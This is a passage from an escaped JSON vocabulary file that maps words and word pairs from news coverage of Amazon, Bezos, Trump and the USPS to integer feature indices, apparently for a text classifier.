190389,\n  \"generation amazon\": 190390,\n  \"mysterious female\": 190391,\n  \"phoebe\": 190392,\n  \"close frankfurt\": 190393,\n  \"ceo trump\": 190394,\n  \"world wars\": 190395,\n  \"assist solely\": 190396,\n  \"period earlier\": 190397,\n  \"delivery ambitions\": 190398,\n  \"just substitute\": 190399,\n  \"wages fair\": 190400,\n  \"revolution hudgins\": 190401,\n  \"provides media\": 190402,\n  \"devices raises\": 190403,\n  \"usps financial\": 190404,\n  \"fewer reductions\": 190405,\n  \"levelled number\": 190406,\n  \"foreclosure investing\": 190407,\n  \"epi\": 190408,\n  \"medieval\": 190409,\n  \"near reaching\": 190410,\n  \"jr anderson\": 190411,\n  \"writes regular\": 190412,\n  \"priorities cbpp\": 190413,\n  \"900\": 190414,\n  \"daily amazon\": 190415,\n  \"important challenges\": 190416,\n  \"lapses facebook\": 190417,\n  \"bookstores publishing\": 190418,\n  \"covenant blessings\": 190419,\n  \"eagerly waiting\": 190420,\n  \"scheduling app\": 190421,\n  \"second opinion\": 190422,\n  \"479\": 190423,\n  \"biggest risks\": 190424,\n  \"52sdfytq8n dave\": 190425,\n  \"700 billion\": 190426,\n  \"employees contributing\": 190427,\n  \"giant aws\": 190428,\n  \"amid lengthy\": 190429,\n  \"david fineman\": 190430,\n  \"check northern\": 190431,\n  \"printer\": 190432,\n  \"conglomerate ill\": 190433,\n  \"membership poll\": 190434,\n  \"calmly explained\": 190435,\n  \"amazon register\": 190436,\n  \"parks foundation\": 190437,\n  \"ryan adams\": 190438,\n  \"trending items\": 190439,\n  \"allegedly stealing\": 190440,\n  \"17369482\": 190441,\n  \"beneficial trump\": 190442,\n  \"immigrant hordes\": 190443,\n  \"captured wide\": 190444,\n  \"state religious\": 190445,\n  \"advertisements\": 190446,\n  \"rock\": 190447,\n  \"chose new\": 190448,\n  \"grill sent\": 190449,\n  \"coming 2018\": 190450,\n  \"bezos brushed\": 190451,\n  \"spillover\": 190452,\n  \"aligning workers\": 190453,\n  \"fedex market\": 190454,\n  \"lifting relatively\": 190455,\n  \"commission ultimate\": 190456,\n  \"media age\": 190457,\n  \"alleging toxic\": 190458,\n  \"kept notes\": 190459,\n  \"growth earlier\": 190460,\n  \"teach young\": 190461,\n  \"highly confidential\": 190462,\n  \"voice group\": 190463,\n  \"aggressive anti\": 190464,\n  \"garza trans\": 190465,\n  \"increment\": 190466,\n  \"aberration trump\": 190467,\n  \"politics amazon\": 190468,\n  \"schiff warning\": 190469,\n  \"pay democratic\": 190470,\n  \"elites remain\": 190471,\n  \"photos obit\": 190472,\n  \"moya asked\": 190473,\n  \"sessions shoulder\": 190474,\n  \"hadn conducted\": 190475,\n  \"decision does\": 190476,\n  \"unwind including\": 190477,\n  \"everybody talks\": 190478,\n  \"restrained coverage\": 190479,\n  \"saga isn\": 190480,\n  \"beast story\": 190481,\n  \"serving nearly\": 190482,\n  \"sex lives\": 190483,\n  \"feather flock\": 190484,\n  \"neighborhood improvements\": 190485,\n  \"tomorrows\": 190486,\n  \"annual veterans\": 190487,\n  \"cabaret\": 190488,\n  \"visit disneyland\": 190489,\n  \"maverick wrote\": 190490,\n  \"tech concept\": 190491,\n  \"surfer sets\": 190492,\n  \"universally praised\": 190493,\n  \"washington democrats\": 190494,\n  \"d\\u00e9by unsettled\": 190495,\n  \"2007 flotation\": 190496,\n  \"pay disparity\": 190497,\n  \"senator marsha\": 190498,\n  \"facebook acquisition\": 190499,\n  \"sports programming\": 190500,\n  \"agriculture fishing\": 190501,\n  \"company evaded\": 190502,\n  \"recently shaken\": 190503,\n  \"o8 set\": 190504,\n  \"a4ee s0\": 190505,\n  \"world left\": 190506,\n  \"anti semitism\": 190507,\n  \"breaking federal\": 190508,\n  \"sovereignty\": 190509,\n  \"martial law\": 190510,\n  \"ap remember\": 190511,\n  \"21st day\": 190512,\n  \"cook isn\": 190513,\n  \"sacred site\": 190514,\n  \"kente cloth\": 190515,\n  \"provide lower\": 190516,\n  \"helped kill\": 190517,\n  \"centers job\": 190518,\n  \"tindall\": 190519,\n  \"protect\": 190520,\n  \"numerous occasions\": 190521,\n  \"author make\": 190522,\n  \"pascal\": 190523,\n  \"straits reporting\": 190524,\n  \"animus\": 190525,\n  \"today screenshot\": 190526,\n  \"send clear\": 190527,\n  \"architect iconimageurl\": 190528,\n  \"charging delivery\": 190529,\n  \"beard\": 190530,\n  \"magic leap\": 190531,\n  \"ariana grande\": 190532,\n  \"basket\": 190533,\n  \"decacorn\": 190534,\n  \"reserve fed\": 190535,\n  \"nick offerman\": 190536,\n  \"justice tlaib\": 190537,\n  \"fallible artificial\": 190538,\n  \"world hasn\": 190539,\n  \"media4 nbcnews\": 190540,\n  \"vendor picks\": 190541,\n  \"approves quarterly\": 190542,\n  \"contributor national\": 190543,\n  \"court papers\": 190544,\n  \"nots continues\": 190545,\n  \"sanchez hasn\": 190546,\n  \"eu concluded\": 190547,\n  \"example don\": 190548,\n  \"shot contenders\": 190549,\n  \"press nonprofits\": 190550,\n  \"influential cost\": 190551,\n  \"currently jeff\": 190552,\n  \"skilled workforce\": 190553,\n  \"grandparents shopped\": 190554,\n  \"amazon 259\": 190555,\n  \"sources told\": 190556,\n  \"john redeker\": 190557,\n  \"adds usps\": 190558,\n  \"university city\": 190559,\n  \"gray amazon\": 190560,\n  \"usps potentially\": 190561,\n  \"comparing amazon\": 190562,\n  \"mad men\": 190563,\n  \"boards original\": 190564,\n  \"aisle unbelievable\": 190565,\n  \"squabbling rarely\": 190566,\n  \"area dedicated\": 190567,\n  \"including barack\": 190568,\n  \"growth paris\": 190569,\n  \"screens make\": 190570,\n  \"brooklyn williams\": 190571,\n  \"means penalties\": 190572,\n  \"cameras screaming\": 190573,\n  \"historical\": 190574,\n  \"offer free\": 190575,\n  \"title colbert\": 190576,\n  \"correlates drop\": 190577,\n  \"sara feigenholtz\": 190578,\n  \"russian propaganda\": 190579,\n  \"porn\": 190580,\n  \"payment thanks\": 190581,\n  \"years statista\": 190582,\n  \"fishing licenses\": 190583,\n  \"little drummer\": 190584,\n  \"bezos purchase\": 190585,\n  \"experts helps\": 190586,\n  \"yb\": 190587,\n  \"hearing arguments\": 190588,\n  \"matthews tells\": 190589,\n  \"market rallies\": 190590,\n  \"obtained messages\": 190591,\n  \"exonerated release\": 190592,\n  \"financial advice\": 190593,\n  \"crisisall\": 190594,\n  \"overall lots\": 190595,\n  \"including stickers\": 190596,\n  \"order fillers\": 190597,\n  \"jocelyn\": 190598,\n  \"east virginia\": 190599,\n  \"video_headline 1iq5vw0\": 190600,\n  \"comprehensive solutions\": 190601,\n  \"1547043466000\": 190602,\n  \"lisota artificial\": 190603,\n  \"sidelines walmart\": 190604,\n  \"key positions\": 190605,\n  \"hacked quest\": 190606,\n  \"streaming device\": 190607,\n  \"denied bias\": 190608,\n  \"rogers told\": 190609,\n  \"condemnations\": 190610,\n  \"expects decisive\": 190611,\n  \"lesser rich\": 190612,\n  \"twitter trump\": 190613,\n  \"added flake\": 190614,\n  \"repeatedly raised\": 190615,\n  \"music focused\": 190616,\n  \"sped\": 190617,\n  \"subjects function\": 190618,\n  \"company isn\": 190619,\n  \"super star\": 190620,\n  \"coast los\": 190621,\n  \"insider belastingaangifte\": 190622,\n  \"anonymous sources\": 190623,\n  \"tough coverage\": 190624,\n  \"immediate future\": 190625,\n  \"international cybersecurity\": 190626,\n  \"disruptive practices\": 190627,\n  \"treatment\": 190628,\n  \"railways bridges\": 190629,\n  \"business videocmsurl\": 190630,\n  \"video just\": 190631,\n  \"highly unlikely\": 190632,\n  \"chastain\": 190633,\n  \"stars kim\": 190634,\n  \"267 shares\": 190635,\n  \"longtime workers\": 190636,\n  \"trading amazon\": 190637,\n  \"real thing\": 190638,\n  \"usps implement\": 190639,\n  \"video doorbell\": 190640,\n  \"journalist lessons\": 190641,\n  \"statement accompanying\": 190642,\n  \"news ctr\": 190643,\n  \"foxconn actually\": 190644,\n  \"general donovan\": 190645,\n  \"net product\": 190646,\n  \"appeals pen\": 190647,\n  \"hewas\": 190648,\n  \"stagnating user\": 190649,\n  \"gcc eliminator\": 190650,\n  \"driver says\": 190651,\n  \"jack graham\": 190652,\n  \"permanent ongoing\": 190653,\n  \"pointe\": 190654,\n  \"launching cable\": 190655,\n  \"hubbard hater\": 190656,\n  \"voiced opposition\": 190657,\n  \"survey alessandra\": 190658,\n  \"823\": 190659,\n  \"money outside\": 190660,\n  \"tweets unfold\": 190661,\n  \"australia central\": 190662,\n  \"buzzfeed apologized\": 190663,\n  \"hate markets\": 190664,\n  \"buccaneer\": 190665,\n  \"affordability program\": 190666,\n  \"electronic products\": 190667,\n  \"cheers\": 190668,\n  \"surging demand\": 190669,\n  \"zhang\": 190670,\n  \"union organization\": 190671,\n  \"kee khoon\": 190672,\n  \"service strategies\": 190673,\n  \"paperwork required\": 190674,\n  \"public authorities\": 190675,\n  \"msnbc joe\": 190676,\n  \"create block\": 190677,\n  \"strange thing\": 190678,\n  \"gentrifying based\": 190679,\n  \"shape ge\": 190680,\n  \"cases justices\": 190681,\n  \"theme\": 190682,\n  \"program helps\": 190683,\n  \"mccabedescribes\": 190684,\n  \"previous presidents\": 190685,\n  \"queen fought\": 190686,\n  \"spellman\": 190687,\n  \"readers clearly\": 190688,\n  \"ra sa\": 190689,\n  \"encampment\": 190690,\n  \"paul steidler\": 190691,\n  \"fighters 2nd\": 190692,\n  \"fiscal oomph\": 190693,\n  \"bombastic\": 190694,\n  \"beating did\": 190695,\n  \"perceived chaos\": 190696,\n  \"gop support\": 190697,\n  \"lit paths\": 190698,\n  \"fost georgefoster72\": 190699,\n  \"k6\": 190700,\n  \"pedestrian\": 190701,\n  \"surpassing\": 190702,\n  \"baptized bezos\": 190703,\n  \"menchaca city\": 190704,\n  \"entire new\": 190705,\n  \"external\": 190706,\n  \"woodward description\": 190707,\n  \"home improvement\": 190708,\n  \"page recalled\": 190709,\n  \"whipple\": 190710,\n  \"wegmann don\": 190711,\n  \"extra large\": 190712,\n  \"files recordings\": 190713,\n  \"housing payments\": 190714,\n  \"homes bills\": 190715,\n  \"brian dillon\": 190716,\n  \"political fundraising\": 190717,\n  \"thread error\": 190718,\n  \"great political\": 190719,\n  \"tabloid adding\": 190720,\n  \"expected changes\": 190721,\n  \"good candidates\": 190722,\n  \"slurs\": 190723,\n  \"cowboys owner\": 190724,\n  \"increasing prescription\": 190725,\n  \"anticipated\": 190726,\n  \"star idina\": 190727,\n  \"trust case\": 190728,\n  \"818\": 190729,\n  \"reports lemoyne\": 190730,\n  \"enable jedi\": 190731,\n  \"overhaul signed\": 190732,\n  \"timeframe senator\": 190733,\n  \"faa issued\": 190734,\n  \"frequently gone\": 190735,\n  \"policy preferences\": 190736,\n  \"actress melissa\": 190737,\n  \"production facility\": 190738,\n  \"movement demands\": 190739,\n  \"empowering women\": 190740,\n  \"business headlineplaintext\": 190741,\n  \"fund opz\": 190742,\n  \"military pensions\": 190743,\n  \"stock investing\": 190744,\n  \"treatment choices\": 190745,\n  \"nonfiction continually\": 190746,\n  \"read jeffbezoswatch\": 190747,\n  \"rectitude\": 190748,\n  \"pioneering new\": 190749,\n  \"imagined world\": 190750,\n  \"interviewing\": 190751,\n  \"sympathies lie\": 190752,\n  \"revitalize american\": 190753,\n  \"penny abernathy\": 190754,\n  \"users couldn\": 190755,\n  \"320\": 190756,\n  \"things worth\": 190757,\n  \"amid continuing\": 190758,\n  \"trump distinctive\": 190759,\n  \"fear khashoggi\": 190760,\n  \"voting rights\": 190761,\n  \"lecturing\": 190762,\n  \"flight included\": 190763,\n  \"710 billion\": 190764,\n  \"letter signed\": 190765,\n  \"amazon\\u00e2\": 190766,\n  \"area virginia\": 190767,\n  \"savage interview\": 190768,\n  \"eliminating collective\": 190769,\n  \"global corporations\": 190770,\n  \"critical conversation\": 190771,\n  \"personally hope\": 190772,\n  \"short story\": 190773,\n  \"england team\": 190774,\n  \"downtown quick\": 190775,\n  \"apology\": 190776,\n  \"conclusion\": 190777,\n  \"antitrust challenges\": 190778,\n  \"tribe subsequent\": 190779,\n  \"display ads\": 190780,\n  \"intrusive government\": 190781,\n  \"chief lobbyist\": 190782,\n  \"covered string\": 190783,\n  \"aaa\": 190784,\n  \"immediate attention\": 190785,\n  \"giant employees\": 190786,\n  \"cohn praises\": 190787,\n  \"add muscle\": 190788,\n  \"verge reported\": 190789,\n  \"amazon forest\": 190790,\n  \"repair puerto\": 190791,\n  \"public hearings\": 190792,\n  \"time ferdinando\": 190793,\n  \"agriculture ministry\": 190794,\n  \"nationalist symbol\": 190795,\n  \"aerial film\": 190796,\n  \"today revived\": 190797,\n  \"new heights\": 190798,\n  \"close image\": 190799,\n  \"brought callista\": 190800,\n  \"heartbreaking evidence\": 190801,\n  \"shares message\": 190802,\n  \"condemned socialism\": 190803,\n  \"criminally conspired\": 190804,\n  \"just labeled\": 190805,\n  \"heated criticism\": 190806,\n  \"staff boxed\": 190807,\n  \"aerospace regulations\": 190808,\n  \"efficient boeing\": 190809,\n  \"manage risk\": 190810,\n  \"wing set\": 190811,\n  \"trump bashers\": 190812,\n  \"decoded\": 190813,\n  \"carberry\": 190814,\n  \"whodunit procedural\": 190815,\n  \"news stories\": 190816,\n  \"list feel\": 190817,\n  \"anemic sales\": 190818,\n  \"large railroads\": 190819,\n  \"455\": 190820,\n  \"apple stock\": 190821,\n  \"news briefing\": 190822,\n  \"presidential alert\": 190823,\n  \"predictable\": 190824,\n  \"mushroom headed\": 190825,\n  \"leadership proven\": 190826,\n  \"videndslate\": 190827,\n  \"enquirer actions\": 190828,\n  \"garcia\": 190829,\n  \"restrictive statutes\": 190830,\n  \"aug\": 190831,\n  \"stevenoverly john\": 190832,\n  \"early 1990s\": 190833,\n  \"satellite campus\": 190834,\n  \"doj make\": 190835,\n  \"ranking member\": 190836,\n  \"google processes\": 190837,\n  \"try little\": 190838,\n  \"amazon decreased\": 190839,\n  \"term costs\": 190840,\n  \"toppled\": 190841,\n  \"spicer story\": 190842,\n  \"investing world\": 190843,\n  \"department adviser\": 190844,\n  \"investigation ultimately\": 190845,\n  \"mccabeis\": 190846,\n  \"hitler heil\": 190847,\n  \"powerful american\": 190848,\n  \"maclear\": 190849,\n  \"user wrote\": 190850,\n  \"opening monologue\": 190851,\n  \"pay sanders\": 190852,\n  \"caravan new\": 190853,\n  \"boost fro\": 190854,\n  \"results nancy\": 190855,\n  \"tax liability\": 190856,\n  \"paying journalists\": 190857,\n  \"128\": 190858,\n  \"looms mccabe\": 190859,\n  \"bombshell clue\": 190860,\n  \"4k shows\": 190861,\n  \"source itep\": 190862,\n  \"chopra nick\": 190863,\n  \"korte\": 190864,\n  \"certain package\": 190865,\n  \"arabia despite\": 190866,\n  \"joined apple\": 190867,\n  \"yard deputy\": 190868,\n  \"398 001\": 190869,\n  \"worst supervisor\": 190870,\n  \"bezos involved\": 190871,\n  \"flank celebrates\": 190872,\n  \"repeal tax\": 190873,\n  \"website sharing\": 190874,\n  \"mackenzie announced\": 190875,\n  \"talks generate\": 190876,\n  \"names straight\": 190877,\n  \"conservative high\": 190878,\n  \"right yeah\": 190879,\n  \"anti trade\": 190880,\n  \"hansen saw\": 190881,\n  \"500 americans\": 190882,\n  \"scared 8211\": 190883,\n  \"make housing\": 190884,\n  \"normal\": 190885,\n  \"engulfs\": 190886,\n  \"current occupant\": 190887,\n  \"recent news\": 190888,\n  \"trumps assertion\": 190889,\n  \"shadow banned\": 190890,\n  \"sam spence\": 190891,\n  \"commission advanced\": 190892,\n  \"tobrien46 bloomberg\": 190893,\n  \"democrats politically\": 190894,\n  \"solves\": 190895,\n  \"dis volitile\": 190896,\n  \"far customers\": 190897,\n  \"briefs alibaba\": 190898,\n  \"trumps tax\": 190899,\n  \"premarket trading\": 190900,\n  \"harvard welp\": 190901,\n  \"major breach\": 190902,\n  \"account spokesperson\": 190903,\n  \"dick novel\": 190904,\n  \"indiatimes\": 190905,\n  \"apple aapl\": 190906,\n  \"groups representing\": 190907,\n  \"thesis\": 190908,\n  \"unpresidented features\": 190909,\n  \"2020 click\": 190910,\n  \"oil magnate\": 190911,\n  \"term survival\": 190912,\n  \"rathner yes\": 190913,\n  \"nathan bomey\": 190914,\n  \"comcast nbcuniversal\": 190915,\n  \"public square\": 190916,\n  \"worst traits\": 190917,\n  \"enquirer reports\": 190918,\n  \"expected wage\": 190919,\n  \"advanced\": 190920,\n  \"excuses\": 190921,\n  \"shanay\": 190922,\n  \"boston beer\": 190923,\n  \"playoff\": 190924,\n  \"constantly refers\": 190925,\n  \"bombshell interview\": 190926,\n  \"fate\": 190927,\n  \"2019 just\": 190928,\n  \"mv\": 190929,\n  \"jeff mason\": 190930,\n  \"becker supported\": 190931,\n  \"position gawande\": 190932,\n  \"declared 2020\": 190933,\n  \"pastoral\": 190934,\n  \"instagram stories\": 190935,\n  \"describes bezos\": 190936,\n  \"tweet impact\": 190937,\n  \"makan\": 190938,\n  \"tensor\": 190939,\n  \"vehicle fleet\": 190940,\n  \"appliances tools\": 190941,\n  \"foolhardy gloating\": 190942,\n  \"largest companies\": 190943,\n  \"global killing\": 190944,\n  \"606\": 190945,\n  \"letters trump\": 190946,\n  \"joe namath\": 190947,\n  \"possibility think\": 190948,\n  \"talton credit\": 190949,\n  \"house triggered\": 190950,\n  \"1542 img_w\": 190951,\n  \"reach washington\": 190952,\n  \"obama thanksgiving\": 190953,\n  \"impenetrable\": 190954,\n  \"arrives\": 190955,\n  \"credit file\": 190956,\n  \"economy dragged\": 190957,\n  \"sale does\": 190958,\n  \"witted\": 190959,\n  \"pirates films\": 190960,\n  \"politicians thirty\": 190961,\n  \"sending trump\": 190962,\n  \"trumps ethanol\": 190963,\n  \"coalition building\": 190964,\n  \"conservative criticisms\": 190965,\n  \"held following\": 190966,\n  \"policy antony\": 190967,\n  \"567 million\": 190968,\n  \"charlie nash\": 190969,\n  \"vestager president\": 190970,\n  \"sharp differences\": 190971,\n  \"usds defense\": 190972,\n  \"takes power\": 190973,\n  \"new headquarter\": 190974,\n  \"reverend\": 190975,\n  \"nyc economic\": 190976,\n  \"sopranos\": 190977,\n  \"trump occasionally\": 190978,\n  \"tense time\": 190979,\n  \"mate david\": 190980,\n  \"pete dagen\": 190981,\n  \"followed bellow\": 190982,\n  \"rigged major\": 190983,\n  \"pillpack sends\": 190984,\n  \"equal access\": 190985,\n  \"null img_panoramicref\": 190986,\n  \"increase investments\": 190987,\n  \"liptak kevinliptakcnn\": 190988,\n  \"tariffs forcing\": 190989,\n  \"abduction rape\": 190990,\n  \"pressure new\": 190991,\n  \"results loading\": 190992,\n  \"commemorative trump\": 190993,\n  \"decision amazon\": 190994,\n  \"caijing report\": 190995,\n  \"apple amazon\": 190996,\n  \"politicians activist\": 190997,\n  \"geddes visiting\": 190998,\n  \"troubled business\": 190999,\n  \"appear divided\": 191000,\n  \"senior trump\": 191001,\n  \"media contenttype\": 191002,\n  \"cuomo democratic\": 191003,\n  \"younger millennials\": 191004,\n  \"eath\": 191005,\n  \"market action\": 191006,\n  \"companies react\": 191007,\n  \"threaten amazon\": 191008,\n  \"leveraging lot\": 191009,\n  \"title sell\": 191010,\n  \"unfair treatment\": 191011,\n  \"make choice\": 191012,\n  \"policies interestingly\": 191013,\n  \"surely harris\": 191014,\n  \"abramson author\": 191015,\n  \"charge bezos\": 191016,\n  \"forecasts surprise\": 191017,\n  \"materials completed\": 191018,\n  \"years daniel\": 191019,\n  \"lending investment\": 191020,\n  \"chicago seeking\": 191021,\n  \"achieve better\": 191022,\n  \"amazon lets\": 191023,\n  \"don underestimate\": 191024,\n  \"policing programs\": 191025,\n  \"title snl\": 191026,\n  \"osofsky longtime\": 191027,\n  \"backstabbing\": 191028,\n  \"firm fareye\": 191029,\n  \"cast suspicion\": 191030,\n  \"compressing\": 191031,\n  \"projectsa\": 191032,\n  \"clubs daniels\": 191033,\n  \"run think\": 191034,\n  \"makes surprisingly\": 191035,\n  \"higher education\": 191036,\n  \"everyday forms\": 191037,\n  \"walmart\": 191038,\n  \"yielding savings\": 191039,\n  \"ressa\": 191040,\n  \"traveler iq\": 191041,\n  \"planned despite\": 191042,\n  \"sports activities\": 191043,\n  \"organization handling\": 191044,\n  \"server719394\": 191045,\n  \"safeguards\": 191046,\n  \"ldavison4 bloomberg\": 191047,\n  \"novice\": 191048,\n  \"subways espinal\": 191049,\n  \"parent walt\": 191050,\n  \"mortgages product\": 191051,\n  \"apparently el\": 191052,\n  \"emphasized\": 191053,\n  \"additional growth\": 191054,\n  \"dared\": 191055,\n  \"create task\": 191056,\n  \"promotes teenage\": 191057,\n  \"loup ventures\": 191058,\n  \"feathered\": 191059,\n  \"martyr\": 191060,\n  \"wsj mike\": 191061,\n  \"tool used\": 191062,\n  \"book michael\": 191063,\n  \"beautiful new\": 191064,\n  \"corner store\": 191065,\n  \"cramped\": 191066,\n  \"\\u0430reaching\": 191067,\n  \"radicalised\": 191068,\n  \"asked trump\": 191069,\n  \"retire multimillionaire\": 191070,\n  \"bolton remarks\": 191071,\n  \"focused internet\": 191072,\n  \"uniquely wary\": 191073,\n  \"embassy trump\": 191074,\n  \"contain nitrous\": 191075,\n  \"pretty difficult\": 191076,\n  \"dominates reporter\": 191077,\n  \"26t01\": 191078,\n  \"cnn reportedly\": 191079,\n  \"outlaw\": 191080,\n  \"14pm west\": 191081,\n  \"jeered\": 191082,\n  \"biggest publishing\": 191083,\n  \"audacious\": 191084,\n  \"checkup tests\": 191085,\n  \"sanctity\": 191086,\n  \"lennox\": 191087,\n  \"101 obscenely\": 191088,\n  \"board amazon\": 191089,\n  \"items pending\": 191090,\n  \"riverhead\": 191091,\n  \"report explaining\": 191092,\n  \"aboutpeople\": 191093,\n  \"smb\": 191094,\n  \"humor following\": 191095,\n  \"leadership really\": 191096,\n  \"news higher\": 191097,\n  \"outdoors\": 191098,\n  \"america cuts\": 191099,\n  \"sanchez publicly\": 191100,\n  \"impulse buy\": 191101,\n  \"york playbook\": 191102,\n  \"debate calling\": 191103,\n  \"says disagree\": 191104,\n  \"investors persuaded\": 191105,\n  \"mcdowell mean\": 191106,\n  \"absorbing pretty\": 191107,\n  \"encountered range\": 191108,\n  \"packages task\": 191109,\n  \"families podcast\": 191110,\n  \"inside fb\": 191111,\n  \"california woman\": 191112,\n  \"strong consumer\": 191113,\n  \"weve\": 191114,\n  \"choose candidate\": 191115,\n  \"physical version\": 191116,\n  \"worse 2018\": 191117,\n  \"friendly alexa\": 191118,\n  \"likeable characters\": 191119,\n  \"succumbed\": 191120,\n  \"industry cost\": 191121,\n  \"trade decision\": 191122,\n  \"video offering\": 191123,\n  \"belcher tom\": 191124,\n  \"farcical alternative\": 191125,\n  \"difficult issues\": 191126,\n  \"150 ballots\": 191127,\n  \"accusing facebook\": 191128,\n  \"buoy\": 191129,\n  \"companies weighed\": 191130,\n  \"controversial corruption\": 191131,\n  \"schmidt lewiston\": 191132,\n  \"freedom paid\": 191133,\n  \"amazon raised\": 191134,\n  \"party merchants\": 191135,\n  \"complete list\": 191136,\n  \"round doesn\": 191137,\n  \"undefined history\": 191138,\n  \"positive developments\": 191139,\n  \"time coming\": 191140,\n  \"railroad analogy\": 191141,\n  \"2f1999\": 191142,\n  \"majority minority\": 191143,\n  \"investors alcoa\": 191144,\n  \"package thefts\": 191145,\n  \"include books\": 191146,\n  \"000\": 191147,\n  \"adjusted 2019\": 191148,\n  \"continued blockbuster\": 191149,\n  \"hit u003ca\": 191150,\n  \"wouldgenerate\": 191151,\n  \"remarks reportedly\": 191152,\n  \"sheivachman\": 191153,\n  \"higher watch\": 191154,\n  \"good right\": 191155,\n  \"councilman ritchie\": 191156,\n  \"politician beg\": 191157,\n  \"grabbers\": 191158,\n  \"linked figures\": 191159,\n  \"pacvue\": 191160,\n  \"hill pushing\": 191161,\n  \"amazon choices\": 191162,\n  \"100 homes\": 191163,\n  \"vegan sandwiches\": 191164,\n  \"media research\": 191165,\n  \"david rubenstein\": 191166,\n  \"listthe travel\": 191167,\n  \"new residence\": 191168,\n  \"control computers\": 191169,\n  \"disastrous leadership\": 191170,\n  \"memorandum president\": 191171,\n  \"tv movies\": 191172,\n  \"striking ability\": 191173,\n  \"require fewer\": 191174,\n  \"based innovation\": 191175,\n  \"quarter wall\": 191176,\n  \"atsg\": 191177,\n  \"zing er\": 191178,\n  \"founder led\": 191179,\n  \"oxy\": 191180,\n  \"varex\": 191181,\n  \"aerial\": 191182,\n  \"segregation\": 191183,\n  \"surprising warning\": 191184,\n  \"moab\": 191185,\n  \"placed tremendous\": 191186,\n  \"regulatory bullets\": 191187,\n  \"actor morgan\": 191188,\n  \"earnings reactions\": 191189,\n  \"expand globally\": 191190,\n  \"deal dies\": 191191,\n  \"manipulated\": 191192,\n  \"output measure\": 191193,\n  \"political economy\": 191194,\n  \"b07f7svpw4\": 191195,\n  \"economic trends\": 191196,\n  \"report alabama\": 191197,\n  \"iannucci blazingly\": 191198,\n  \"srch including\": 191199,\n  \"relatively conservative\": 191200,\n  \"compel online\": 191201,\n  \"socialist job\": 191202,\n  \"scheduled number\": 191203,\n  \"probably looking\": 191204,\n  \"market businesses\": 191205,\n  \"useem\": 191206,\n  \"colorways\": 191207,\n  \"restuccia\": 191208,\n  \"allies rode\": 191209,\n  \"welcomes\": 191210,\n  \"business occur\": 191211,\n  \"combined controls\": 191212,\n  \"help daniel\": 191213,\n  \"123s tracker\": 191214,\n  \"highly polarized\": 191215,\n  \"moreconservative\": 191216,\n  \"photograph michael\": 191217,\n  \"sum max\": 191218,\n  \"willrayner__\": 191219,\n  \"galore thanks\": 191220,\n  \"inflation pressures\": 191221,\n  \"lynwood extension\": 191222,\n  \"fernholz added\": 191223,\n  \"executive randall\": 191224,\n  \"package ordered\": 191225,\n  \"zaccara adding\": 191226,\n  \"gov ralph\": 191227,\n  \"arbitrary hurdles\": 191228,\n  \"services revenue\": 191229,\n  \"2019 fox\": 191230,\n  \"freud nudes\": 191231,\n  \"feature selected\": 191232,\n  \"163 billion\": 191233,\n  \"ago broward\": 191234,\n  \"says higher\": 191235,\n  \"trump fascist\": 191236,\n  \"social justice\": 191237,\n  \"toll evaders\": 191238,\n  \"conference facebook\": 191239,\n  \"met kavanaugh\": 191240,\n  \"does work\": 191241,\n  \"ami action\": 191242,\n  \"investigating payments\": 191243,\n  \"countries trump\": 191244,\n  \"sanders posting\": 191245,\n  \"trump firing\": 191246,\n  \"update segment\": 191247,\n  \"0712et copyright\": 191248,\n  \"buildings including\": 191249,\n  \"associate manager\": 191250,\n  \"absolutely kaitlan\": 191251,\n  \"public policy\": 191252,\n  \"000th place\": 191253,\n  \"pbs read\": 191254,\n  \"society wide\": 191255,\n  \"merchandise direct\": 191256,\n  \"ignore given\": 191257,\n  \"insightful editorials\": 191258,\n  \"2017 mailing\": 191259,\n  \"mangoes\": 191260,\n  \"venezuela oil\": 191261,\n  \"whatsapp trending\": 191262,\n  \"tech john\": 191263,\n  \"following rise\": 191264,\n  \"cranbrook\": 191265,\n  \"feet tall\": 191266,\n  \"eating burrito\": 191267,\n  \"kaepernick\": 191268,\n  \"crc turned\": 191269,\n  \"hense european\": 191270,\n  \"stomped\": 191271,\n  \"videotape seema\": 191272,\n  \"announces divorce\": 191273,\n  \"today briefing\": 191274,\n  \"foundation new\": 191275,\n  \"depth cross\": 191276,\n  \"lost tax\": 191277,\n  \"increasingly sloppy\": 191278,\n  \"600 according\": 191279,\n  \"possibly life\": 191280,\n  \"puzzled\": 191281,\n  \"emmert\": 191282,\n  \"similar pricing\": 191283,\n  \"having heart\": 191284,\n  \"amid broad\": 191285,\n  \"wasteful corporate\": 191286,\n  \"wqiguvz0pa josh\": 191287,\n  \"thepresidency\": 191288,\n  \"cortez kills\": 191289,\n  \"z4 m4\": 191290,\n  \"vacation\": 191291,\n  \"warner va\": 191292,\n  \"vendors inserted\": 191293,\n  \"exponential growth\": 191294,\n  \"route delivering\": 191295,\n  \"sells ads\": 191296,\n  \"000 erp\": 191297,\n  \"point man\": 191298,\n  \"trump finally\": 191299,\n  \"9653\": 191300,\n  \"posters\": 191301,\n  \"islamic\": 191302,\n  \"banks leverage\": 191303,\n  \"sears kohls\": 191304,\n  \"booming business\": 191305,\n  \"excluding amazon\": 191306,\n  \"cnbc analysts\": 191307,\n  \"executive level\": 191308,\n  \"residents remain\": 191309,\n  \"waterfront esplanade\": 191310,\n  \"teeth gives\": 191311,\n  \"high costs\": 191312,\n  \"gun signs\": 191313,\n  \"seacrest productions\": 191314,\n  \"liberal hollywood\": 191315,\n  \"skilled comedian\": 191316,\n  \"cooking shows\": 191317,\n  \"new keyboard\": 191318,\n  \"studios congress\": 191319,\n  \"zionist rocker\": 191320,\n  \"compliant amazon\": 191321,\n  \"security brad\": 191322,\n  \"leaders according\": 191323,\n  \"news sketch\": 191324,\n  \"new jersey\": 191325,\n  \"road damage\": 191326,\n  \"global players\": 191327,\n  \"guitar\": 191328,\n  \"marijuana suffolk\": 191329,\n  \"false chartstyletoggle\": 191330,\n  \"cloud structure\": 191331,\n  \"weathered direct\": 191332,\n  \"routinely criticized\": 191333,\n  \"tried repeatedly\": 191334,\n  \"secret asian\": 191335,\n  \"agreement assuming\": 191336,\n  \"semi fictional\": 191337,\n  \"new tensor\": 191338,\n  \"shelves stocked\": 191339,\n  \"fueling loss\": 191340,\n  \"amazon gives\": 191341,\n  \"challenge akin\": 191342,\n  \"assessing likelihood\": 191343,\n  \"state today\": 191344,\n  \"fall pay\": 191345,\n  \"commonwealth\": 191346,\n  \"active reviewers\": 191347,\n  \"blown\": 191348,\n  \"coffee advertisements\": 191349,\n  \"town tale\": 191350,\n  \"finite lives\": 191351,\n  \"crains\": 191352,\n  \"evening shade\": 191353,\n  \"unverified\": 191354,\n  